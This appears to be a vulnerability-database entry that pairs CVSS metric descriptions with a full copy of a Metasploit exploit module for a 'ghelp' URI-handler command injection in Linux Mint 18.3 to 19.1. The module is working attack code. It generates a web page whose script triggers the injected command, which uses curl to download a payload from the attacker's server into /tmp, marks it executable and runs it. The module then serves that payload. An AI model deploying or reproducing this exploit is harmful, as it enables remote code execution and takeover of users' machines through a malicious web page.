The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements
Present
AT
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Linux Mint 18.3-19.1 yelp Command Injection (Metasploit)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# Exploit from github repro: https://github.com/b1ack0wl/linux_mint_poc
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Linux Mint 'yelp' URI handler command injection vulnerability",
'Description' => %q{
This module exploits a vulnerability within the "ghelp", "help" and "man" URI handlers within
Linux Mint's "ubuntu-system-adjustments" package. Invoking any one the URI handlers will call
the python script "/usr/local/bin/yelp" with the contents of the supplied URI handler as its argument.
The script will then search for the strings "gnome-help" or "ubuntu-help" and if doesn't find either
of them it'll then execute os.system("/usr/bin/yelp %s" % args). User interaction is required to exploit
this vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'b1ackr0wl' # vuln discovery and exploit dev
],
'Payload' =>
{
'DisableNops' => true
},
'DefaultOptions' =>
{
'WfsDelay' => 60
},
'Platform' => 'linux',
'Targets' =>
[
[ 'Linux Mint 18.3 and 19.1',
{
'Arch' => ARCH_X64
}
]
],
'Privileged' => false,
'DefaultTarget' => 0))
end
def generate_exploit_html()
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = datastore['LHOST']
else
srv_host = datastore['SRVHOST']
end
@filename = rand_text_alpha(4)
cmd_inj = "curl http://#{srv_host}:#{datastore['SRVPORT']}/#{@service_path} -o /tmp/#{@filename};chmod 777 /tmp/#{@filename};/tmp/#{@filename} &".gsub(' ','$IFS$()') # Cheap way to add spaces since chrome percent encodes spaces (%20).
html = %Q|
<html>
<head>
<meta content="text/html;charset=utf-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding">
<title>paparoachfanclubdotcom</title>
</head>
<body>
<script>
lmao = document.createElement('a');
lmao.href= "ghelp://$(#{cmd_inj})";
document.body.appendChild(lmao); /* Needed to work with Firefox */
lmao.click();
</script>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
if agent =~ /curl\/\d/
# Command has been executed. Serve up the payload
exe_payload = generate_payload_exe()
print_status("Sending payload...")
send_response(cli, exe_payload)
register_file_for_cleanup("/tmp/#{@filename}")
return
else
html = generate_exploit_html()
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
end
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